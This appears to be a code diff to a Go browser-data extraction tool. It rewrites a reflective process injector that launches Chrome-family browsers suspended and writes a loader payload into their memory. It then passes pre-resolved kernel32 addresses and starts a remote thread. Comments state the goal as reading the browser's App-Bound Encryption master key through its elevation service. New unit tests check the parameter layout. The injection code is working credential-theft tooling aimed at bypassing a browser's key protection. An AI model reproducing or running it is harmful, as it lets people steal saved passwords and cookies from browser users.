@@ -48,7 +48,7 @@ func TestDetectPEArch_EmptyInput(t *testing.T) {
}
// TestFindExportFileOffset_KnownExports walks a handful of kernel32 exports
// that Bootstrap also relies on via pre-resolved import patching. Passing
// that Bootstrap also relies on via its remote parameter block. Passing
// here means both the export-table walker and the RVA→file-offset converter
// work against a real Windows PE — not just against fixtures we control.
func TestFindExportFileOffset_KnownExports(t *testing.T) {
+116 -96
View File
@@ -6,8 +6,10 @@ import (
"encoding/binary"
"fmt"
"os"
"runtime"
"syscall"
"time"
"unsafe"
"golang.org/x/sys/windows"
@@ -22,8 +24,9 @@ type Reflective struct {
const (
exportName = "Bootstrap"
// 30s covers GoogleChromeElevationService cold-start on first call after boot.
defaultWait = 30 * time.Second
terminateWait = 2 * time.Second
defaultWait = 30 * time.Second
terminateWait = 2 * time.Second
bootstrapParamFieldSize = 8
)
func (r *Reflective) Inject(exePath string, payload []byte, env map[string]string) ([]byte, error) {
@@ -33,13 +36,11 @@ func (r *Reflective) Inject(exePath string, payload []byte, env map[string]strin
if exePath == "" {
return nil, fmt.Errorf("injector: empty exePath")
}
loaderRVA, err := validateAndLocateLoader(payload)
if err != nil {
return nil, err
if runtime.GOARCH != "amd64" {
return nil, fmt.Errorf("injector: only amd64 is supported (got %s)", runtime.GOARCH)
}
patched, err := patchPreresolvedImports(payload)
loaderRVA, err := validateAndLocateLoader(payload)
if err != nil {
return nil, err
}
@@ -47,11 +48,10 @@ func (r *Reflective) Inject(exePath string, payload []byte, env map[string]strin
restore := setEnvTemporarily(env)
defer restore()
pi, udd, err := spawnSuspended(exePath)
pi, err := spawnSuspended(exePath)
if err != nil {
return nil, err
}
defer os.RemoveAll(udd)
defer windows.CloseHandle(pi.Process)
defer windows.CloseHandle(pi.Thread)
@@ -63,25 +63,25 @@ func (r *Reflective) Inject(exePath string, payload []byte, env map[string]strin
}
}()
remoteBase, err := writeRemotePayload(pi.Process, patched)
remoteBase, err := writeRemotePayload(pi.Process, payload)
if err != nil {
return nil, err
}
scratchBase, err := allocateScratch(pi.Process)
if err != nil {
return nil, err
}
paramsBase, err := writeBootstrapParams(pi.Process, scratchBase)
if err != nil {
return nil, err
}
// Resume briefly so ntdll loader init completes before we hijack a thread; Bootstrap itself is
// self-contained but the later elevation_service COM call inside the payload relies on a
// fully-initialized PEB. Chrome's main() is left running so it can stand up its own COM/
// scheduler infrastructure — the child will show a normal browser window under the isolated
// --user-data-dir, which we accept; our Bootstrap finishes before the user sees anything.
_, _ = windows.ResumeThread(pi.Thread)
time.Sleep(500 * time.Millisecond)
if err := runAndWait(pi.Process, remoteBase, loaderRVA, r.wait()); err != nil {
if err := runAndWait(pi.Process, remoteBase, loaderRVA, paramsBase, r.wait()); err != nil {
return nil, err
}
// Read output before TerminateProcess — after kill the memory is gone.
result, readErr := readScratch(pi.Process, remoteBase)
result, readErr := readScratch(pi.Process, scratchBase)
_ = windows.TerminateProcess(pi.Process, 0)
_, _ = windows.WaitForSingleObject(pi.Process, uint32(terminateWait/time.Millisecond))
@@ -133,63 +133,35 @@ func validateAndLocateLoader(payload []byte) (uint32, error) {
return off, nil
}
// buildIsolatedCommandLine builds the command-line for a spawned, singleton-isolated Chromium process.
// Only --user-data-dir=<temp> is passed — this is the one switch that matters: it escapes the running
// browser's ProcessSingleton mutex so the suspended child survives past main() long enough for the
// remote Bootstrap thread to complete (issue #576). Adding any other flags (--no-startup-window,
// --disable-extensions, --disable-gpu, ...) has either destabilized Brave (payload dies in DllMain
// with marker=0x0b) or made newer Chromium forks on Windows 11 exit within ~200ms because they had
// "nothing to do" after bypassing window creation — letting the browser show a normal window under
// the isolated UDD is the most compatible behavior across forks and Windows versions.
func buildIsolatedCommandLine(exePath, udd string) string {
// %q would Go-escape backslashes (C:\foo → C:\\foo); Windows CommandLineToArgvW then keeps them
// as literal double backslashes in argv. Raw literal quotes match Windows command-line rules.
//nolint:gocritic // sprintfQuotedString: %q is wrong for Windows command-line escaping, see above.
return fmt.Sprintf(`"%s" --user-data-dir="%s"`, exePath, udd)
}
// spawnSuspended launches exePath in a fully isolated suspended state. A unique --user-data-dir is
// passed so the spawned chrome.exe does not collide with any already-running Chrome instance's
// ProcessSingleton (which would call ExitProcess as soon as main() runs, killing our remote Bootstrap
// thread before it can publish the master key). The temp UDD is returned so the caller can remove it
// after injection.
func spawnSuspended(exePath string) (*windows.ProcessInformation, string, error) {
udd, err := os.MkdirTemp("", "hbd-inj-udd-*")
if err != nil {
return nil, "", fmt.Errorf("injector: make temp user-data-dir: %w", err)
}
cmdLine := buildIsolatedCommandLine(exePath, udd)
cmdPtr, err := syscall.UTF16PtrFromString(cmdLine)
if err != nil {
_ = os.RemoveAll(udd)
return nil, "", fmt.Errorf("injector: command line: %w", err)
}
// spawnSuspended launches exePath with its primary thread suspended. The browser's normal startup
// path is never resumed; only the remote Bootstrap thread runs, matching the ABE reference injector
// and avoiding any top-level Chromium UI.
func spawnSuspended(exePath string) (*windows.ProcessInformation, error) {
exePtr, err := syscall.UTF16PtrFromString(exePath)
if err != nil {
_ = os.RemoveAll(udd)
return nil, "", fmt.Errorf("injector: exe path: %w", err)
return nil, fmt.Errorf("injector: exe path: %w", err)
}
si := &windows.StartupInfo{
Cb: uint32(unsafe.Sizeof(windows.StartupInfo{})),
}
si := &windows.StartupInfo{}
pi := &windows.ProcessInformation{}
err = windows.CreateProcess(
exePtr, cmdPtr, nil, nil,
exePtr, nil, nil, nil,
false,
windows.CREATE_SUSPENDED,
nil, nil, si, pi,
)
if err != nil {
_ = os.RemoveAll(udd)
return nil, "", fmt.Errorf("injector: CreateProcess: %w", err)
return nil, fmt.Errorf("injector: CreateProcess: %w", err)
}
return pi, udd, nil
return pi, nil
}
func writeRemotePayload(proc windows.Handle, payload []byte) (uintptr, error) {
remoteBase, err := winapi.VirtualAllocEx(proc,
uintptr(len(payload)),
uint32(windows.MEM_COMMIT|windows.MEM_RESERVE),
uint32(windows.PAGE_EXECUTE_READWRITE),
uint32(windows.PAGE_READWRITE),
)
if err != nil {
return 0, fmt.Errorf("injector: %w", err)
@@ -202,6 +174,88 @@ func writeRemotePayload(proc windows.Handle, payload []byte) (uintptr, error) {
if int(written) != len(payload) {
return 0, fmt.Errorf("injector: short write to target (%d/%d)", written, len(payload))
}
if _, err := winapi.VirtualProtectEx(proc, remoteBase, uintptr(len(payload)), uint32(windows.PAGE_EXECUTE_READ)); err != nil {
return 0, fmt.Errorf("injector: protect payload: %w", err)
}
// Required before the region is executed. Bootstrap flushes again once it has mapped the
// payload's own sections, but that runs too late to cover its own first instruction.
if err := winapi.FlushInstructionCache(proc, remoteBase, uintptr(len(payload))); err != nil {
return 0, fmt.Errorf("injector: flush instruction cache: %w", err)
}
return remoteBase, nil
}
func allocateScratch(proc windows.Handle) (uintptr, error) {
// Keep the old scratch offsets stable for diagnostics/key reads, but place the scratch area in
// its own RW allocation so the raw payload image can be execute-only after writing.
const scratchSize = bootstrap.KeyOffset + bootstrap.KeyLen
remoteBase, err := winapi.VirtualAllocEx(proc,
uintptr(scratchSize),
uint32(windows.MEM_COMMIT|windows.MEM_RESERVE),
uint32(windows.PAGE_READWRITE),
)
if err != nil {
return 0, fmt.Errorf("injector: allocate scratch: %w", err)
}
return remoteBase, nil
}
// encodeBootstrapParams lays out the C BootstrapParams struct using the cgo-generated field
// offsets, so a field added or reordered in bootstrap_layout.h shows up as a layout.go diff
// rather than as a silently misread pointer inside the target process.
func encodeBootstrapParams(scratchBase uintptr) ([]byte, error) {
fields := []struct {
offset int
addr uintptr
}{
{bootstrap.ParamScratchBase, scratchBase},
{bootstrap.ParamLoadLibraryA, winapi.AddrLoadLibraryA()},
{bootstrap.ParamGetProcAddress, winapi.AddrGetProcAddress()},
{bootstrap.ParamVirtualAlloc, winapi.AddrVirtualAlloc()},
{bootstrap.ParamVirtualProtect, winapi.AddrVirtualProtect()},
{bootstrap.ParamNtFlushIC, winapi.AddrNtFlushInstructionCache()},
}
params := make([]byte, bootstrap.ParamsSize)
for _, f := range fields {
if f.addr == 0 {
return nil, fmt.Errorf("injector: failed to resolve one or more bootstrap params")
}
if err := putBootstrapParam(params, f.offset, f.addr); err != nil {
return nil, err
}
}
return params, nil
}
func putBootstrapParam(params []byte, offset int, addr uintptr) error {
if offset < 0 || offset > len(params)-bootstrapParamFieldSize {
return fmt.Errorf("injector: bootstrap param offset %d out of bounds for %d-byte block", offset, len(params))
}
binary.LittleEndian.PutUint64(params[offset:offset+bootstrapParamFieldSize], uint64(addr))
return nil
}
func writeBootstrapParams(proc windows.Handle, scratchBase uintptr) (uintptr, error) {
params, err := encodeBootstrapParams(scratchBase)
if err != nil {
return 0, err
}
remoteBase, err := winapi.VirtualAllocEx(proc,
uintptr(len(params)),
uint32(windows.MEM_COMMIT|windows.MEM_RESERVE),
uint32(windows.PAGE_READWRITE),
)
if err != nil {
return 0, fmt.Errorf("injector: allocate bootstrap params: %w", err)
}
var written uintptr
if err := windows.WriteProcessMemory(proc, remoteBase, &params[0], uintptr(len(params)), &written); err != nil {
return 0, fmt.Errorf("injector: write bootstrap params: %w", err)
}
if int(written) != len(params) {
return 0, fmt.Errorf("injector: short write to bootstrap params (%d/%d)", written, len(params))
}
return remoteBase, nil
}
@@ -209,9 +263,9 @@ func writeRemotePayload(proc windows.Handle, payload []byte) (uintptr, error) {
// process is still running; any other value means the process has already terminated.
const stillActive uint32 = 259
func runAndWait(proc windows.Handle, remoteBase uintptr, loaderRVA uint32, wait time.Duration) error {
func runAndWait(proc windows.Handle, remoteBase uintptr, loaderRVA uint32, param uintptr, wait time.Duration) error {
entry := remoteBase + uintptr(loaderRVA)
hThread, err := winapi.CreateRemoteThread(proc, entry, 0)
hThread, err := winapi.CreateRemoteThread(proc, entry, param)
if err != nil {
// Diagnostic: distinguish a dead target (Chrome self-exited before we could inject — policy,
// version, UDD-restriction, sandbox-init failure) from a live target whose NtCreateThreadEx
@@ -281,40 +335,6 @@ func readScratch(proc windows.Handle, remoteBase uintptr) (scratchResult, error)
return result, nil
}
// patchPreresolvedImports writes five pre-resolved Win32 function pointers into the payload's DOS stub
// so Bootstrap skips PEB.Ldr traversal entirely. Validity relies on KnownDlls + session-consistent
// ASLR (kernel32 and ntdll share the same virtual address across processes in one boot session).
func patchPreresolvedImports(payload []byte) ([]byte, error) {
if len(payload) < bootstrap.ImpNtFlushICOffset+8 {
return nil, fmt.Errorf("injector: payload too small for pre-resolved import patch")
}
pLoadLibraryA := winapi.AddrLoadLibraryA()
pGetProcAddress := winapi.AddrGetProcAddress()
pVirtualAlloc := winapi.AddrVirtualAlloc()
pVirtualProtect := winapi.AddrVirtualProtect()
pNtFlushIC := winapi.AddrNtFlushInstructionCache()
if pLoadLibraryA == 0 || pGetProcAddress == 0 || pVirtualAlloc == 0 ||
pVirtualProtect == 0 || pNtFlushIC == 0 {
return nil, fmt.Errorf("injector: failed to resolve one or more pre-resolved imports")
}
patched := make([]byte, len(payload))
copy(patched, payload)
writeAddr := func(off int, addr uintptr) {
binary.LittleEndian.PutUint64(patched[off:off+8], uint64(addr))
}
writeAddr(bootstrap.ImpLoadLibraryAOffset, pLoadLibraryA)
writeAddr(bootstrap.ImpGetProcAddressOffset, pGetProcAddress)
writeAddr(bootstrap.ImpVirtualAllocOffset, pVirtualAlloc)
writeAddr(bootstrap.ImpVirtualProtectOffset, pVirtualProtect)
writeAddr(bootstrap.ImpNtFlushICOffset, pNtFlushIC)
return patched, nil
}
// setEnvTemporarily mutates the current process's env; NOT concurrency-safe. Callers must serialize
// Inject calls.
func setEnvTemporarily(env map[string]string) func() {
+112
View File
@@ -0,0 +1,112 @@
//go:build windows && amd64
package injector
import (
"encoding/binary"
"testing"
"github.com/moond4rk/hackbrowserdata/crypto/windows/abe_native/bootstrap"
"github.com/moond4rk/hackbrowserdata/utils/winapi"
)
// The C payload reads BootstrapParams by field offset while Go writes it as a flat byte
// slice, so this pins the encoding to the cgo-generated offsets rather than to field order.
func TestEncodeBootstrapParams(t *testing.T) {
const scratchBase = 0xDEADBEEF000
params, err := encodeBootstrapParams(scratchBase)
if err != nil {
t.Fatalf("encodeBootstrapParams: %v", err)
}
if len(params) != bootstrap.ParamsSize {
t.Fatalf("params size = %d, want %d (C sizeof(BootstrapParams))", len(params), bootstrap.ParamsSize)
}
cases := []struct {
name string
offset int
want uintptr
}{
{"scratch_base", bootstrap.ParamScratchBase, scratchBase},
{"LoadLibraryA", bootstrap.ParamLoadLibraryA, winapi.AddrLoadLibraryA()},
{"GetProcAddress", bootstrap.ParamGetProcAddress, winapi.AddrGetProcAddress()},
{"VirtualAlloc", bootstrap.ParamVirtualAlloc, winapi.AddrVirtualAlloc()},
{"VirtualProtect", bootstrap.ParamVirtualProtect, winapi.AddrVirtualProtect()},
{"NtFlushInstructionCache", bootstrap.ParamNtFlushIC, winapi.AddrNtFlushInstructionCache()},
}
for _, tc := range cases {
got := binary.LittleEndian.Uint64(params[tc.offset : tc.offset+8])
if got != uint64(tc.want) {
t.Errorf("%s at offset 0x%x = %#x, want %#x", tc.name, tc.offset, got, tc.want)
}
if tc.want == 0 {
t.Errorf("%s resolved to a null address", tc.name)
}
}
}
func TestPutBootstrapParamBounds(t *testing.T) {
const want = uintptr(0x0123456789ABCDEF)
tests := []struct {
name string
size int
offset int
wantErr bool
}{
{name: "last valid field", size: 16, offset: 8},
{name: "negative offset", size: 8, offset: -1, wantErr: true},
{name: "short block", size: 7, offset: 0, wantErr: true},
{name: "one past end", size: 8, offset: 1, wantErr: true},
{name: "maximum offset", size: 8, offset: int(^uint(0) >> 1), wantErr: true},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
params := make([]byte, tt.size)
err := putBootstrapParam(params, tt.offset, want)
if tt.wantErr {
if err == nil {
t.Fatal("putBootstrapParam returned nil error")
}
return
}
if err != nil {
t.Fatalf("putBootstrapParam: %v", err)
}
if got := binary.LittleEndian.Uint64(params[tt.offset:]); got != uint64(want) {
t.Errorf("encoded value = %#x, want %#x", got, want)
}
})
}
}
// Every field must land inside the struct and none may overlap — a stale offset constant
// would otherwise corrupt a neighboring pointer instead of failing loudly.
func TestBootstrapParamOffsetsAreDisjoint(t *testing.T) {
offsets := []int{
bootstrap.ParamScratchBase,
bootstrap.ParamLoadLibraryA,
bootstrap.ParamGetProcAddress,
bootstrap.ParamVirtualAlloc,
bootstrap.ParamVirtualProtect,
bootstrap.ParamNtFlushIC,
}
seen := make(map[int]bool, len(offsets))
for _, off := range offsets {
if off%8 != 0 {
t.Errorf("offset 0x%x is not 8-byte aligned", off)
}
if off < 0 || off > bootstrap.ParamsSize-bootstrapParamFieldSize {
t.Errorf("offset 0x%x overruns params block of %d bytes", off, bootstrap.ParamsSize)
}
if seen[off] {
t.Errorf("offset 0x%x used by more than one field", off)
}
seen[off] = true
}
if len(seen)*bootstrapParamFieldSize != bootstrap.ParamsSize {
t.Errorf("%d fields cover %d bytes, but C sizeof(BootstrapParams) is %d",
len(seen), len(seen)*bootstrapParamFieldSize, bootstrap.ParamsSize)
}
}
+28 -8
View File
@@ -11,8 +11,10 @@ import (
// Call-style procs used by the typed wrappers below.
var (
procVirtualAllocEx = Kernel32.NewProc("VirtualAllocEx")
procCreateRemoteThread = Kernel32.NewProc("CreateRemoteThread")
procVirtualAllocEx = Kernel32.NewProc("VirtualAllocEx")
procVirtualProtectEx = Kernel32.NewProc("VirtualProtectEx")
procFlushInstructionCache = Kernel32.NewProc("FlushInstructionCache")
procCreateRemoteThread = Kernel32.NewProc("CreateRemoteThread")
// K32EnumProcesses is the kernel32-embedded twin of psapi!EnumProcesses
// introduced in Windows 7 — using it lets us skip the psapi.dll handle.
@@ -21,8 +23,8 @@ var (
)
// Address-style procs. The injector reads their raw addresses via .Addr()
// and patches them into the reflective loader's DOS stub. We never Call
// these from our own process.
// and passes them to the reflective loader in its remote parameter block.
// We never Call these from our own process.
var (
procLoadLibraryA = Kernel32.NewProc("LoadLibraryA")
procGetProcAddress = Kernel32.NewProc("GetProcAddress")
@@ -41,6 +43,25 @@ func VirtualAllocEx(proc windows.Handle, size uintptr, flAllocType, flProtect ui
)
}
// VirtualProtectEx wraps kernel32!VirtualProtectEx and returns the previous
// protection for the region.
func VirtualProtectEx(proc windows.Handle, addr, size uintptr, flNewProtect uint32) (uint32, error) {
var oldProtect uint32
_, err := CallBoolErr(procVirtualProtectEx,
uintptr(proc), addr, size,
uintptr(flNewProtect), uintptr(unsafe.Pointer(&oldProtect)),
)
return oldProtect, err
}
// FlushInstructionCache wraps kernel32!FlushInstructionCache. Windows requires this after
// writing bytes that are about to be executed as code; pass addr=0, size=0 to flush the
// whole process. amd64 caches happen to be coherent, but the API contract is not.
func FlushInstructionCache(proc windows.Handle, addr, size uintptr) error {
_, err := CallBoolErr(procFlushInstructionCache, uintptr(proc), addr, size)
return err
}
// CreateRemoteThread wraps kernel32!CreateRemoteThread. Returns the new
// thread's handle, which the caller must CloseHandle.
func CreateRemoteThread(proc windows.Handle, startAddr, param uintptr) (windows.Handle, error) {
@@ -54,10 +75,9 @@ func CreateRemoteThread(proc windows.Handle, startAddr, param uintptr) (windows.
return windows.Handle(h), nil
}
// Addr* functions expose raw function pointers for the reflective
// loader's DOS-stub patching. KnownDlls + session-consistent ASLR
// guarantees these addresses are valid in every process spawned in
// the same boot session.
// Addr* functions expose raw function pointers for the reflective loader's
// BootstrapParams block. KnownDlls + session-consistent ASLR guarantees these
// addresses are valid in every process spawned in the same boot session.
func AddrLoadLibraryA() uintptr { return procLoadLibraryA.Addr() }
func AddrGetProcAddress() uintptr { return procGetProcAddress.Addr() }